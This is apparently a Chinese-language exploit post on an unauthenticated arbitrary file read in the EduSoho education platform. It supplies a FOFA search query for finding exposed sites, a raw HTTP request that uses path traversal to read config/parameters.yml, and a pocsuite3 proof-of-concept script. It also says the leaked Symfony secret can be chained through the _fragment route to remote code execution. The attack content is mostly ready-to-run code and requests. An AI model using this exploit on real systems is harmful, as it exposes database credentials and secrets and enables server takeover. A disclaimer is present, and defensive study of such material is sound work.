免责声明
文章中涉及的漏洞均已修复，敏感信息均已做打码处理，文章仅做经验分享用途，切勿当真，未授权的攻击属于非法行为！文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任，一旦造成后果请自行负责
漏洞描述
教培系统classroom-course-statistics接口存在未授权任意文件读取漏洞，通过该漏洞攻击者可以读取到config/parameters.yml文件的内容，拿到该文件中保存的secret值以及数据库账号密码等敏感信息。拿到secret值后，攻击者可以结合symfony框架_fragment路由实现RCE。
fofa语句
title="Powered By EduSoho" || body="Powered by <a href=\"http://www.edusoho.com/\" target=\"_blank\">EduSoho" || (body="Powered By EduSoho" && body="var app")poc加检测
GET /export/classroom-course-statistics?fileNames[]=../../../config/parameters.yml HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
poc脚本
脚本使用的pocsuite框架
# _*_ coding:utf-8 _*_
# @Time : 2024/1/27
# @Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_str
class edusoho_files_fileread(POCBase):
pocDesc = '''EduSoho任意文件读取漏洞'''
author = '炼金术师诸葛亮'
createDate = '2024-1-27'
name = 'EduSoho任意文件读取漏洞'
# title="Powered By EduSoho" || body="Powered by <a href=\"http://www.edusoho.com/\" target=\"_blank\">EduSoho" || (body="Powered By EduSoho" && body="var app")
def _verify(self):
result = {}
url = self.url+ '/export/classroom-course-statistics?fileNames[]=../../../config/parameters.yml'
headers={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36"
}
try:
response = requests.get(url,headers=headers)
if response.status_code == 200 and 'parameters' in response.text:
result['VerifyInfo'] = {}
return self.parse_output(result)
except Exception as e:
pass
register_poc(edusoho_files_fileread)脚本利用
